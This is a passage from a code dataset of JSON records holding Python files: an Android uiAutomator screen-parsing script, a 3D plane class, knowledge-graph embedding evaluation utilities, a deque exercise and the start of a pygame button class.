"torch.optim", "line_number": 354, "usage_type": "attribute"}, {"api_name": "os.path.join", "line_number": 364, "usage_type": "call"}, {"api_name": "os.path", "line_number": 364, "usage_type": "attribute"}, {"api_name": "os.makedirs", "line_number": 368, "usage_type": "call"}, {"api_name": "tqdm.tqdm", "line_number": 369, "usage_type": "call"}, {"api_name": "utils.transfer_features", "line_number": 379, "usage_type": "call"}, {"api_name": "utils.evaluate_multitask", "line_number": 394, "usage_type": "call"}, {"api_name": "utils.transfer_features", "line_number": 398, "usage_type": "name"}, {"api_name": "pandas.DataFrame", "line_number": 401, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 406, "usage_type": "call"}, {"api_name": "os.path", "line_number": 406, "usage_type": "attribute"}, {"api_name": "numpy.save", "line_number": 407, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 407, "usage_type": "call"}, {"api_name": "os.path", "line_number": 407, "usage_type": "attribute"}, {"api_name": "utils.disaggregated_evaluation", "line_number": 408, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 414, "usage_type": "call"}, {"api_name": "os.path", "line_number": 414, "usage_type": "attribute"}, {"api_name": "yaml.dump", "line_number": 415, "usage_type": "call"}, {"api_name": "torch.save", "line_number": 431, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 431, "usage_type": "call"}, {"api_name": "os.path", "line_number": 431, "usage_type": "attribute"}, {"api_name": "yaml.dump", "line_number": 445, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 447, "usage_type": "call"}, {"api_name": "os.path", "line_number": 447, "usage_type": "attribute"}, {"api_name": "yaml.dump", "line_number": 448, "usage_type": "call"}, {"api_name": "torch.load", "line_number": 451, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 451, "usage_type": "call"}, {"api_name": "os.path", "line_number": 451, "usage_type": "attribute"}, {"api_name": "os.path.exists", "line_number": 455, "usage_type": "call"}, {"api_name": "os.path", "line_number": 455, "usage_type": "attribute"}, {"api_name": "os.path.join", "line_number": 455, "usage_type": "call"}, {"api_name": "torch.save", "line_number": 457, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 457, "usage_type": "call"}, {"api_name": "os.path", "line_number": 457, "usage_type": "attribute"}, {"api_name": "utils.evaluate_multitask", "line_number": 459, "usage_type": "call"}, {"api_name": "utils.transfer_features", "line_number": 463, "usage_type": "name"}, {"api_name": "pandas.DataFrame", "line_number": 466, "usage_type": "call"}, {"api_name": "yaml.dump", "line_number": 471, "usage_type": "call"}, {"api_name": "numpy.save", "line_number": 472, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 472, "usage_type": "call"}, {"api_name": "os.path", "line_number": 472, "usage_type": "attribute"}, {"api_name": "numpy.save", "line_number": 473, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 473, "usage_type": "call"}, {"api_name": "os.path", "line_number": 473, "usage_type": "attribute"}, {"api_name": "os.path.join", "line_number": 474, "usage_type": "call"}, {"api_name": "os.path", "line_number": 474, "usage_type": "attribute"}, {"api_name": "os.path.join", "line_number": 475, "usage_type": "call"}, {"api_name": "os.path", "line_number": 475, "usage_type": "attribute"}, {"api_name": "yaml.dump", "line_number": 476, "usage_type": "call"}, {"api_name": "utils.disaggregated_evaluation", "line_number": 477, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 483, "usage_type": "call"}, {"api_name": "os.path", "line_number": 483, "usage_type": "attribute"}, {"api_name": "yaml.dump", "line_number": 484, "usage_type": "call"}]}
{"seq_id": "44686779627", "text": "#####################################################################################################################\n# Made by:      Aaron                                                                                               #\n# Desciption:   A python script that uses uiAutomator python wrapper to generate XY coordinates of                  #\n#               clickable/scrollable views, which is crucial for simulating and automating basic user actions,      #\n#               such as pressing, scrolling, etc. This script only prints coordinates and other useful information  #\n#               obtained from uiAutomator's dump().                                                                 #\n#               Additional uiAutomator's methods (Eg: d.click(x,y)) can be added at the bottom of the program.      #\n#####################################################################################################################\n\nimport xml.etree.ElementTree as ET\nimport networkx as nx\nimport matplotlib.pyplot as plt\nfrom uiautomator import device as d\nimport numpy as np\nimport sys\nimport random as rd\nimport time\nimport hashlib\n\n\n# To generate hashed states\n# Misc\ndef generateHashedState(state):\n    global permissionState\n    # Conditions\n    clickCondition = \"'clickable': 'true'\"\n    enabledCondition = \"'enabled': 'true'\"\n    longClickCondition = \"'long-clickable': 'true'\"\n    scrollCondition = \"'scrollable': 'true'\"\n    allowPermissionsId = 'com.android.packageinstaller:id/permission_allow_button'\n    denyPermissionsId = 'com.android.packageinstaller:id/permission_deny_button'\n\n    # Attributes\n    resourceId = ''\n    view = ''\n    package = ''\n    text = ''\n    contentDesc = ''\n    longClickable = ''\n    scroll = ''\n    root = ET.fromstring(state)\n\n    for elem in root.iter():\n        strAttrib = str(elem.attrib)\n        # Find clickable Views\n        if clickCondition in strAttrib and enabledCondition in strAttrib:\n            # Obtain package names\n            start = strAttrib.find(\"'package': \") + 12\n            end = strAttrib.find(\",\", start) - 1\n            temp = strAttrib[start:end]\n            package = str(temp)\n            # Obtain view names\n            start = strAttrib.find(\"'class': \") + 10\n            end = strAttrib.find(\"'\", start)\n            temp = strAttrib[start:end]\n            view = view+str(temp)\n            # Obtain resource-id\n            start = strAttrib.find(\"'resource-id': \") + 16\n            end = strAttrib.find(\"'\", start)\n            temp = strAttrib[start:end]\n            # resource-id is empty\n            if temp == '':\n                temp = '(No resource.id)'\n                resourceId = resourceId + temp\n            # Has resource-id\n            else:\n                resourceId = resourceId + temp\n            # Obtain text\n            start = strAttrib.find(\"'text': \") + 9\n            end = strAttrib.find(\"}\", start) - 1\n            temp = strAttrib[start:end]\n            # Text is empty\n            if temp == '':\n                temp = '(No text)'\n                text = text + temp\n            else:\n                text = text + temp\n            # Obtain content-desc\n            start = strAttrib.find(\"'content-desc': \") + 17\n            end = strAttrib.find(\",\", start) - 1\n            temp = strAttrib[start:end]\n            if temp == '':\n                temp = \"(no content-desc)\"\n                contentDesc = contentDesc + temp\n            else:\n                contentDesc = contentDesc + temp\n\n            # Long clickable\n            if longClickCondition in strAttrib:\n                longClickable = longClickable + \"True\"\n        # Determine if scrollable\n        if scrollCondition in strAttrib and enabledCondition in strAttrib:\n            scroll = scroll + 'True'\n\n    # Check if state is a permission state\n    if resourceId == str(denyPermissionsId+allowPermissionsId):\n        print(\"Permission state detected.\")\n        permissionState = True\n\n    # Return Hash\n    return hashlib.md5((package+view+resourceId+contentDesc+longClickable+scroll)).digest().encode(\"base64\")\n\n\ndef generateHashedHierachy(state):\n    return hashlib.md5(state).digest().encode(\"base64\")\n\n\n# Use uiAutomator's dump to get screen details\nstate1 = d.dump(compressed=True).encode('utf-8')\ntime.sleep(1.5)\n\n# Initialise all required arrays/variables\nview = []\nresourceId = []\ncontentDesc = []\nclickableXCoor = np.array([])\nclickableYCoor = np.array([])\neClickableXCoor = np.array([])\neClickableYCoor = np.array([])\ncVisitFreq = []\npackage = ''\nstate = ''\nlongClickable = []\nlongClickableIndex = []\nlcVisitFreq = []\nscrollableX = []\nscrollableY = []\ne_scrollableX = []\ne_scrollableY = []\nc_scrollableX = []\nc_scrollableY = []\nscrollableResourceId = []\nscrollableView = []\ninvalidStateList = []\ntext = []\n\n\n# Various conditional statements to extract info\ncondition = \"'clickable': 'true'\"\ncondition2 = \"'long-clickable': 'true'\"\ncondition3 = \"'scrollable': 'true'\"\nscrollCondition = \"'text': 'true'\"\nenabledCondition = \"'enabled': 'true'\"\nroot = ET.fromstring(state1)\nlongClickIndex = 0\n\n# Iterate through hierarchy (from d.dump) to obtain XY coordinates, etc\nfor elem in root.iter():\n    strAttrib = str(elem.attrib)\n    # clickable\n    if condition in strAttrib:\n        # Obtain XY Coordinates of clickable coordinates (Start)\n        start = strAttrib.find(\"'bounds': '\") + 12\n        end = strAttrib.find('[', start)\n        temp = strAttrib[start:end]\n        start = temp.find(\"[\") + 1\n        end = temp.find(\",\", start)\n        xCoordinate = int(temp[start:end])\n        clickableXCoor = np.append(clickableXCoor, xCoordinate)\n        start = temp.find(\",\") + 1\n        end = temp.find(\"]\", start)\n        yCoordinate = int(temp[start:end])\n        clickableYCoor = np.append(clickableYCoor, yCoordinate)\n        # Obtain XY Coordinates of clickable Coordinates (End)\n        start = strAttrib.find(\"[\") + len(str(yCoordinate)) + len(str(xCoordinate)) + 3\n        end = strAttrib.find(\" '\", start)\n        temp = strAttrib[start:end]\n        start = temp.find(\"[\") + 1\n        end = temp.find(\",\", start)\n        eClickableXCoor = np.append(eClickableXCoor, int(temp[start:end]))\n        start = temp.find(\",\") + 1\n        end = temp.find(\"]\", start)\n        eClickableYCoor = np.append(eClickableYCoor, int(temp[start:end]))\n        # Obtain package names\n        start = strAttrib.find(\"'package': \") + 12\n        end = strAttrib.find(\"'\", start)\n        package = strAttrib[start:end]\n        # Obtain view names\n        start = strAttrib.find(\"'class': \") + 10\n        end = strAttrib.find(\"'\", start)\n        temp = strAttrib[start:end]\n        temp = str(temp)\n        view.append(temp)\n        # Obtain resource id\n        start = strAttrib.find(\"'resource-id': \") + 16\n        end = strAttrib.find(\"'\", start)\n        temp = strAttrib[start:end]\n        if temp == '':\n            temp = '(No resource.id)'\n            resourceId.append(temp)\n        else:\n            resourceId.append(temp)\n        # Obtain text\n        start = strAttrib.find(\"'text': \") + 9\n        end = strAttrib.find(\"}\", start) - 1\n        temp = strAttrib[start:end]\n        # Text is empty\n        if temp == '':\n            temp = '(No text)'\n            text.append(temp)\n        else:\n            text.append(temp)\n        # Obtain content-desc\n        start = strAttrib.find(\"'content-desc': \") + 17\n        end = strAttrib.find(\",\", start) - 1\n        temp = strAttrib[start:end]\n        if temp == '':\n            temp = \"(no content-desc)\"\n            contentDesc.append(temp)\n        else:\n            contentDesc.append(temp)\n\n        # Update cVisitFreq\n        cVisitFreq.append(0)\n\n        # Long clickable\n        if condition2 in strAttrib:\n            longClickable.append(str(True))\n            longClickableIndex.append(longClickIndex)\n            lcVisitFreq.append(0)\n        else:\n            longClickable.append(str(False))\n\n        longClickIndex = longClickIndex + 1\n\n    # scrollable\n    if condition3 in strAttrib and enabledCondition in strAttrib:\n        # Obtain Start XY Coordinates of scrollable views\n        start = strAttrib.find(\"'bounds': '\") + 12\n        end = strAttrib.find('[', start)\n        temp = strAttrib[start:end]\n        start = temp.find(\"[\") + 1\n        end = temp.find(\",\", start)\n        xCoordinate = int(temp[start:end])\n        scrollableX.append(xCoordinate)\n        start = temp.find(\",\") + 1\n        end = temp.find(\"]\", start)\n        yCoordinate = int(temp[start:end])\n        scrollableY.append(yCoordinate)\n        # Obtain End XY Coordinates of scrollable views\n        start = strAttrib.find(\"[\") + len(str(yCoordinate)) + len(str(xCoordinate)) + 3\n        end = strAttrib.find(\" '\", start)\n        temp = strAttrib[start:end]\n        start = temp.find(\"[\") + 1\n        end = temp.find(\",\", start)\n        e_scrollableX.append(int(temp[start:end]))\n        start = temp.find(\",\") + 1\n        end = temp.find(\"]\", start)\n        e_scrollableY.append(int(temp[start:end]))\n        # Obtain view names\n        start = strAttrib.find(\"'class': '\") + 10\n        end = strAttrib.find(\"'\", start)\n        temp = strAttrib[start:end]\n        temp = str(temp)\n        scrollableView.append(temp)\n        # Obtain resource id\n        start = strAttrib.find(\"'resource-id': '\") + 16\n        end = strAttrib.find(\"'\", start)\n        temp = strAttrib[start:end]\n        if temp == '':\n            temp = '(No resource.id)'\n            scrollableResourceId.append(temp)\n        else:\n            scrollableResourceId.append(temp)\n\n# Logic used for scrolling/swiping\nif len(scrollableX) >= 1:\n    # Obtain center of scrollable views\n    for n in range(len(scrollableX)):\n        # X-Center coordinates\n        temp = int(((e_scrollableX[n] - scrollableX[n]) / 2) + scrollableX[n])\n        c_scrollableX.append(temp)\n        # Y-Center coordinates\n        temp = (((e_scrollableY[n] - scrollableY[n]) / 2) + scrollableY[n])\n        c_scrollableY.append(temp)\n\nprint(\"Full Hierarchy\")\nprint(state1)\nprint(\"\\n\")\n\n# Use MD5 hashing to speed up state matching process\nprint(\"Hashed Hierarchy\")\nprint(generateHashedHierachy(state1))\n\n# Use MD5 hashing to speed up state matching process\nprint(\"Hashed State\")\nprint(generateHashedState(state1))\n\n# Clickable Views\nprint(\"Clickable views\")\nprint(view)\nprint(\"\\n\")\nprint(\"Clickable package\")\nprint(package)\nprint(\"\\n\")\nprint(\"Clickable resource-id\")\nprint(resourceId)\nprint(\"\\n\")\nprint(\"Clickable text\")\nprint(text)\nprint(\"\\n\")\nprint(\"Clickable Content-Desc\")\nprint(contentDesc)\nprint(\"\\n\")\nprint(\"Clickable XY coordinates (Top-left bounds)\")\nprint(clickableXCoor)\nprint(clickableYCoor)\nprint(\"\\n\")\nprint(\"Clickable XY coordinates (bottom-right bounds)\")\nprint(eClickableXCoor)\nprint(eClickableYCoor)\nprint(\"\\n\")\nprint(\"Clickable # of visits\")\nprint(cVisitFreq)\nprint(\"\\n\")\n\n# Long-clickable views\nprint(\"Long Clickable indexes\")\n# Refers XY coordinates of clickable views that are also long-clickable\nprint(longClickable)\n# Refers to index of clickable XY coordinates that are also long-clickable\nprint(longClickableIndex)\nprint(\"\\n\")\nprint(\"Long-clickable # of visits\")\nprint(lcVisitFreq)\nprint(\"\\n\")\n\n\nprint(\"Scrollable views Details\")\n# XY Coordinates of scrollable views (Top-left)\nprint(scrollableX)\nprint(scrollableY)\n# XY Coordinates of scrollable views (Bottom-right)\nprint(e_scrollableX)\nprint(e_scrollableY)\n# Xy Coordinates of scrollable views (Centre)\nprint(c_scrollableX)\nprint(c_scrollableY)\nprint(\"\\n\")\nprint(\"Scrollable view's name\")\nprint(scrollableView)\nprint(\"\\n\")\nprint(\"Scrollable view's resource id\")\nprint(scrollableResourceId)\nprint(\"\\n\")\n\n# Tally of clickable, scrollable views (Limited to uiAutomator dump)\nprint(\"Tally:\")\nprint(\"Number of clickable views:\" + str(len(clickableXCoor)))\nprint(\"Number of scrollable views:\" + str(len(scrollableX)))\ncount = 0\nfor i in longClickable:\n    if i is str(True):\n        count = count+1\nprint(\"Number of long-clickable views:\" + str(count))\n\n# Add your operations here:\nd.click(clickableXCoor[4], clickableYCoor[4])\n\n", "repo_name": "WeeslaX/Weeslaniac", "sub_path": "state_checker.py", "file_name": "state_checker.py", "file_ext": "py", "file_size_in_byte": 12064, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "78", "api": [{"api_name": "xml.etree.ElementTree.fromstring", "line_number": 41, "usage_type": "call"}, {"api_name": "xml.etree.ElementTree", "line_number": 41, "usage_type": "name"}, {"api_name": "hashlib.md5", "line_number": 101, "usage_type": "call"}, {"api_name": "hashlib.md5", "line_number": 105, "usage_type": "call"}, {"api_name": "uiautomator.device.dump", "line_number": 109, "usage_type": "call"}, {"api_name": "uiautomator.device", "line_number": 109, "usage_type": "name"}, {"api_name": "time.sleep", "line_number": 110, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 116, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 117, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 118, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 119, "usage_type": "call"}, {"api_name": "xml.etree.ElementTree.fromstring", "line_number": 144, "usage_type": "call"}, {"api_name": "xml.etree.ElementTree", "line_number": 144, "usage_type": "name"}, {"api_name": "numpy.append", "line_number": 159, "usage_type": "call"}, {"api_name": "numpy.append", "line_number": 163, "usage_type": "call"}, {"api_name": "numpy.append", "line_number": 170, "usage_type": "call"}, {"api_name": "numpy.append", "line_number": 173, "usage_type": "call"}, {"api_name": "uiautomator.device.click", "line_number": 358, "usage_type": "call"}, {"api_name": "uiautomator.device", "line_number": 358, "usage_type": "name"}]}
{"seq_id": "73382212745", "text": "import math\n\nfrom line import Line\nfrom vector import Vector\nclass Plane(object):\n    \"\"\"\n       This class gives simple functionalities related to a Plane in 3d\n       params:\n           normal_vector: of type vector\n           constant_term: Constant term in the vector equation the Plane.\n           basepoint: generated according to the normal_vector and constant_term\n\n       Example of Plane equation:\n       Ax + By + Cz = k\n       (A, B, C).(x, y) = k\n       (A, B, C) => Normal Vector\n       k => Constant Term\n\n       Example initialization:\n       p = Plane(Vector([2, 3, 4]), 5)\n       This will generate a plane of the form, 2x + 3y +4z = 5\n       \"\"\"\n\n    NO_NONZERO_ELTS_FOUND_MSG = 'No nonzero elements found'\n\n    def __init__(self, normal_vector=None, constant_term=None):\n        # super(Plane, self).__init__(normal_vector, constant_term)\n        self.dimension = 3\n        if not normal_vector:\n            normal_vector = Vector([0] * self.dimension)\n        self.normal_vector = normal_vector\n\n        if not constant_term:\n            constant_term = 0\n        self.constant_term = constant_term\n\n        self.set_basepoint()\n\n\n    def set_basepoint(self):\n        try:\n            n = self.normal_vector\n            c = self.constant_term\n            basepoint_coords = ['0']*self.dimension\n\n            initial_index = Line.first_nonzero_index(n)\n            initial_coefficient = n[initial_index]\n\n            basepoint_coords[initial_index] = c/initial_coefficient\n            self.basepoint = Vector(basepoint_coords)\n\n        except Exception as e:\n            if str(e) == Line.NO_NONZERO_ELTS_FOUND_MSG:\n                self.basepoint = None\n            else:\n                raise e\n\n    def is_parallel_to(self,oll):\n        n1 = self.normal_vector\n        n2 = oll.normal_vector\n        return n1.is_parallel_to(n2)\n\n\nif __name__ == '__main__':\n    p1 = Plane(Vector([-0.412, 3.806, 0.728]), -3.46)\n    p2 = Plane(Vector([1.03, -9.515, -1.82]), 8.65)\n    print(\"Plane \\n\", p1, \"\\nand \\n\", p2)\n    print(\"Parallel: \", p1.is_parallel_to(p2))\n    print(\"Equal: \", p1 == p2)\n    print('-' * 80)\n\n    p1 = Plane(Vector([2.611, 5.528, 0.283]), 4.6)\n    p2 = Plane(Vector([7.715, 8.306, 5.342]), 3.76)\n    print(\"Plane \\n\", p1, \"\\nand \\n\", p2)\n    print(\"Parallel: \", p1.is_parallel_to(p2))\n    print(\"Equal: \", p1 == p2)\n    print('-' * 80)\n\n    p1 = Plane(Vector([-7.926, 8.625, -7.212]), -7.952)\n    p2 = Plane(Vector([-2.642, 2.875, -2.404]), -2.443)\n    print(\"Plane \\n\", p1, \"\\nand \\n\", p2)\n    print(\"Parallel: \", p1.is_parallel_to(p2))\n    print(\"Equal: \", p1 == p2)\n    print('-' * 80)\n", "repo_name": "cronusliang/ml-learning", "sub_path": "LinearAlgebra/ml_code/plane.py", "file_name": "plane.py", "file_ext": "py", "file_size_in_byte": 2623, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "81", "api": [{"api_name": "vector.Vector", "line_number": 30, "usage_type": "call"}, {"api_name": "line.Line.first_nonzero_index", "line_number": 46, "usage_type": "call"}, {"api_name": "line.Line", "line_number": 46, "usage_type": "name"}, {"api_name": "vector.Vector", "line_number": 50, "usage_type": "call"}, {"api_name": "line.Line.NO_NONZERO_ELTS_FOUND_MSG", "line_number": 53, "usage_type": "attribute"}, {"api_name": "line.Line", "line_number": 53, "usage_type": "name"}, {"api_name": "vector.Vector", "line_number": 65, "usage_type": "call"}, {"api_name": "vector.Vector", "line_number": 66, "usage_type": "call"}, {"api_name": "vector.Vector", "line_number": 72, "usage_type": "call"}, {"api_name": "vector.Vector", "line_number": 73, "usage_type": "call"}, {"api_name": "vector.Vector", "line_number": 79, "usage_type": "call"}, {"api_name": "vector.Vector", "line_number": 80, "usage_type": "call"}]}
{"seq_id": "74146475452", "text": "import os\nimport torch\nimport torch.nn as nn\nfrom pathlib import Path\nfrom models.transx import TransE, TransH, TransR, TransD\nfrom models.prtransx import PrTransE, PrTransH\nfrom models.darling import DARLING\n\n# import constants\nfrom constants import *\n\n# define models\nmodels = {\n    TRANSE: TransE,\n    TRANSH: TransH,\n    TRANSR: TransR,\n    TRANSD: TransD,\n    PRTRANSE: PrTransE,\n    PRTRANSH: PrTransH,\n    DARLIN: DARLING\n}\n\n# meter class for storing results\nclass AverageMeter(object):\n    \"\"\"Computes and stores the average and current value\"\"\"\n    def __init__(self):\n        self.reset()\n\n    def reset(self):\n        self.val = 0\n        self.avg = 0\n        self.sum = 0\n        self.count = 0\n\n    def update(self, val, n=1):\n        self.val = val / n\n        self.sum += val\n        self.count += n\n        self.avg = self.sum / self.count\n\nclass NegativeSampling:\n    def __init__(self, num_entities):\n        self.num_entities = num_entities\n        self.demographic_aware = args.demographic_aware\n        self.prob_embedding = args.prob_embedding\n\n    def __call__(self, pos):\n        if args.demographic_aware or args.prob_embedding:\n            return {\n                **self.uniform(pos),\n                **{\n                    DEMOGRAPHIC: pos[DEMOGRAPHIC],\n                    PROBABILITY: torch.FloatTensor([args.negative_prob] * pos[TRIPLE].shape[0]).to(DEVICE)\n                }\n            }\n        else:\n            return self.uniform(pos)\n\n    def uniform(self, pos):\n        pos_heads, pos_relations, pos_tails = pos[TRIPLE][:, 0], pos[TRIPLE][:, 1], pos[TRIPLE][:, 2]\n\n        replace = torch.randint(high=2, size=pos_heads.size()).to(DEVICE) # 1 for head, 0 for tail\n\n        random_entities = torch.randint(high=self.num_entities, size=pos_heads.size()).to(DEVICE)\n\n        neg_heads = torch.where(replace == 1, random_entities, pos_heads)\n        neg_tails = torch.where(replace == 0, random_entities, pos_tails)\n\n        return {\n            TRIPLE: torch.stack((neg_heads, pos_relations, neg_tails), dim=1).to(DEVICE)\n        }\n\nclass RankEvaluator:\n    def __init__(self, vocabs):\n        self.vocabs = vocabs\n        self.task_ids = {\n            TREATMENT_RECOMMENDATION: [v for k, v in self.vocabs[ENTITY].items() if k.startswith('p_')],\n            MEDICINE_RECOMMENDATION: [v for k, v in self.vocabs[ENTITY].items() if not k.startswith('p_') and not k.startswith('d_')]\n        }\n\n    def _hits_at_k(self, predicted, actual, k=10):\n        return torch.sum(torch.eq(predicted.topk(k=k, largest=False)[1], actual.unsqueeze(1))).item() / actual.size(0)\n\n    def _mean_rank(self, predicted, actual):\n        return torch.sum(torch.eq(predicted.argsort(), actual.unsqueeze(1)).nonzero()[:, 1].float().add(1.0)) / actual.size(0)\n\n    def _mean_reciprocal_rank(self, predicted, actual):\n        return torch.sum((1.0 / torch.eq(predicted.argsort(), actual.unsqueeze(1)).nonzero()[:, 1].float().add(1.0))).item() / actual.size(0)\n\n    def _filter_entities(self, predicted, actual, task):\n        filter_predicted, filter_actual = [], []\n        entity_vocab_list = list(self.vocabs[ENTITY].keys())\n        for p, a in zip(predicted.tolist(), actual.tolist()):\n            if task == TREATMENT_RECOMMENDATION and not entity_vocab_list[a].startswith('p_'):\n                continue\n            if task == MEDICINE_RECOMMENDATION and (entity_vocab_list[a].startswith('p_') or entity_vocab_list[a].startswith('d_')):\n                continue\n            fp = [pv for i, pv in enumerate(p) if i in self.task_ids[task]]\n\n            assert len(fp) == len(self.task_ids[task])\n\n            filter_predicted.append(torch.FloatTensor(fp))\n            filter_actual.append(fp.index(p[a]))\n\n        return torch.stack(filter_predicted).to(DEVICE), torch.LongTensor(filter_actual).to(DEVICE)\n\n    def _filter_medicines(self, predicted, actual):\n        return None\n\n    def _rank(self, predicted, actual, task):\n        if task in [TREATMENT_RECOMMENDATION, MEDICINE_RECOMMENDATION]:\n            predicted, actual = self._filter_entities(predicted, actual, task)\n        assert predicted.size(0) == actual.size(0)\n\n        self.metrics[HITS_AT_1].update(self._hits_at_k(predicted, actual, 1))\n        self.metrics[HITS_AT_3].update(self._hits_at_k(predicted, actual, 3))\n        self.metrics[HITS_AT_10].update(self._hits_at_k(predicted, actual, 10))\n        self.metrics[MR].update(self._mean_rank(predicted, actual))\n        self.metrics[MRR].update(self._mean_reciprocal_rank(predicted, actual))\n\n    def _results(self):\n        return {\n            HITS_AT_1: self.metrics[HITS_AT_1].avg,\n            HITS_AT_3: self.metrics[HITS_AT_3].avg,\n            HITS_AT_10: self.metrics[HITS_AT_10].avg,\n            MR: self.metrics[MR].avg,\n            MRR: self.metrics[MRR].avg\n        }\n\n    def _reset(self):\n        self.metrics = {\n            HITS_AT_1: AverageMeter(),\n            HITS_AT_3: AverageMeter(),\n            HITS_AT_10: AverageMeter(),\n            MR: AverageMeter(),\n            MRR: AverageMeter()\n        }\n\n    def evaluate(self, data_loader, model, task=args.task):\n        # reset metrics\n        self._reset()\n\n        # switch to evaluate mode\n        model.eval()\n\n        entity_ids = torch.arange(end=len(self.vocabs[ENTITY])).to(DEVICE)\n        with torch.no_grad():\n            for _, data in enumerate(data_loader):\n                val_triples = data[TRIPLE]\n\n                # get batch size\n                batch_size = val_triples.shape[0]\n\n                all_entities = entity_ids.repeat(batch_size, 1)\n\n                heads, relations, tails = val_triples[:, 0], val_triples[:, 1], val_triples[:, 2]\n\n                # exapnd for all entities\n                expanded_heads = heads.reshape(-1, 1).repeat(1, all_entities.size()[1])\n                expanded_relations = relations.reshape(-1, 1).repeat(1, all_entities.size()[1])\n\n                expanded_triples = torch.stack((expanded_heads, expanded_relations, all_entities), dim=2).reshape(-1, val_triples.shape[1])\n\n                if args.demographic_aware:\n                    expanded_demographics = data[DEMOGRAPHIC].reshape(-1, 1).repeat(1, all_entities.size()[1]).reshape(-1, 1).squeeze()\n\n                if args.prob_embedding:\n                    expanded_probabilities = data[PROBABILITY].reshape(-1, 1).repeat(1, all_entities.size()[1]).reshape(-1, 1).squeeze()\n\n                # chunk data and predict results\n                predicted_tails = []\n                for i in range(0, len(expanded_triples), batch_size**2):\n                    model_data = {TRIPLE: expanded_triples[i:i + batch_size**2]}\n\n                    if args.demographic_aware:\n                        model_data.update({DEMOGRAPHIC: expanded_demographics[i:i + batch_size**2]})\n\n                    if args.prob_embedding:\n                        model_data.update({PROBABILITY: expanded_probabilities[i:i + batch_size**2]})\n\n                    predicted_tails.append(model.predict(model_data))\n\n                predicted_tails = torch.cat(predicted_tails, dim=0).reshape(batch_size, -1)\n\n                # rank results\n                self._rank(predicted_tails, tails, task)\n\n        return self._results()\n", "repo_name": "AynurGuluzade/DARLING", "sub_path": "utils.py", "file_name": "utils.py", "file_ext": "py", "file_size_in_byte": 7213, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 8, "dataset": "github-code", "pt": "78", "api": [{"api_name": "models.transx", "line_number": 13, "usage_type": "name"}, {"api_name": "models.transx.TransE", "line_number": 14, "usage_type": "name"}, {"api_name": "models.transx.TransH", "line_number": 15, "usage_type": "name"}, {"api_name": "models.transx.TransR", "line_number": 16, "usage_type": "name"}, {"api_name": "models.transx.TransD", "line_number": 17, "usage_type": "name"}, {"api_name": "models.prtransx.PrTransE", "line_number": 18, "usage_type": "name"}, {"api_name": "models.prtransx.PrTransH", "line_number": 19, "usage_type": "name"}, {"api_name": "models.darling.DARLING", "line_number": 20, "usage_type": "name"}, {"api_name": "torch.FloatTensor", "line_number": 53, "usage_type": "call"}, {"api_name": "torch.randint", "line_number": 62, "usage_type": "call"}, {"api_name": "torch.randint", "line_number": 64, "usage_type": "call"}, {"api_name": "torch.where", "line_number": 66, "usage_type": "call"}, {"api_name": "torch.where", "line_number": 67, "usage_type": "call"}, {"api_name": "torch.stack", "line_number": 70, "usage_type": "call"}, {"api_name": "torch.sum", "line_number": 82, "usage_type": "call"}, {"api_name": "torch.eq", "line_number": 82, "usage_type": "call"}, {"api_name": "torch.sum", "line_number": 85, "usage_type": "call"}, {"api_name": "torch.eq", "line_number": 85, "usage_type": "call"}, {"api_name": "torch.sum", "line_number": 88, "usage_type": "call"}, {"api_name": "torch.eq", "line_number": 88, "usage_type": "call"}, {"api_name": "torch.FloatTensor", "line_number": 102, "usage_type": "call"}, {"api_name": "torch.stack", "line_number": 105, "usage_type": "call"}, {"api_name": "torch.LongTensor", "line_number": 105, "usage_type": "call"}, {"api_name": "torch.arange", "line_number": 146, "usage_type": "call"}, {"api_name": "torch.no_grad", "line_number": 147, "usage_type": "call"}, {"api_name": "torch.stack", "line_number": 162, "usage_type": "call"}, {"api_name": "torch.cat", "line_number": 183, "usage_type": "call"}]}
{"seq_id": "72849689546", "text": "from collections import deque\n\nn = int(input())\narr = deque(i for i in range(1,n+1))\n\nwhile len(arr) > 1 :\n    arr.popleft()\n    data = arr.popleft()\n    arr.append(data)\n\nprint(*arr)", "repo_name": "KymCat/CodingTestStudy", "sub_path": "문제/실버/S2164.py", "file_name": "S2164.py", "file_ext": "py", "file_size_in_byte": 183, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "81", "api": [{"api_name": "collections.deque", "line_number": 4, "usage_type": "call"}]}
{"seq_id": "17163315644", "text": "import pygame\r\nimport time\r\n\r\nwidth = 1200\r\nheight = 750\r\nBLACK = (0, 0, 0)\r\nWHITE = (255, 255, 255)\r\n# FPS\r\nfpsclock = pygame.time.Clock()\r\nFPS = 30\r\npygame.init()\r\n\r\n# Cấu hình màn hình\r\nscreen = pygame.display.set_mode((width, height))\r\npygame.display.set_caption(\"Tree\")\r\n# Khởi tạo font\r\nfont = pygame.font.Font(None, 36)\r\n\r\n\r\nclass Button:\r\n    def __init__(self, link, size, index):\r\n        self.surface = pygame.image.load(link).convert_alpha()\r\n        self.w, self.h = size\r\n        self.x, self.y = index\r\n        self.delta = 0\r\n        self.surface = pygame.transform.scale(self.surface, size)\r\n\r\n    def draw(self):\r\n        surface_tempt = pygame.transform.scale(\r\n            self.surface, (self.w - self.delta, self.h - self.delta))\r\n        if (self.delta > 0 and self.delta < 10):\r\n            # print(str(self.w - self.delta) + \" \" + str(self.h - self.delta) + \"\\n\")\r\n            self.delta += 3\r\n        else:\r\n            self.delta = 0\r\n        screen.blit(surface_tempt, (self.x - (self.w - self.delta) /\r\n                    2, self.y - (self.h - self.delta)/2))\r\n\r\n    def click(self, x, y):\r\n        if (x > self.x - self.w/2 and x < self.x + self.w/2\r\n           and y > self.y - self.h/6 and y < self.y + self.h/6):\r\n            self.delta = 1\r\n    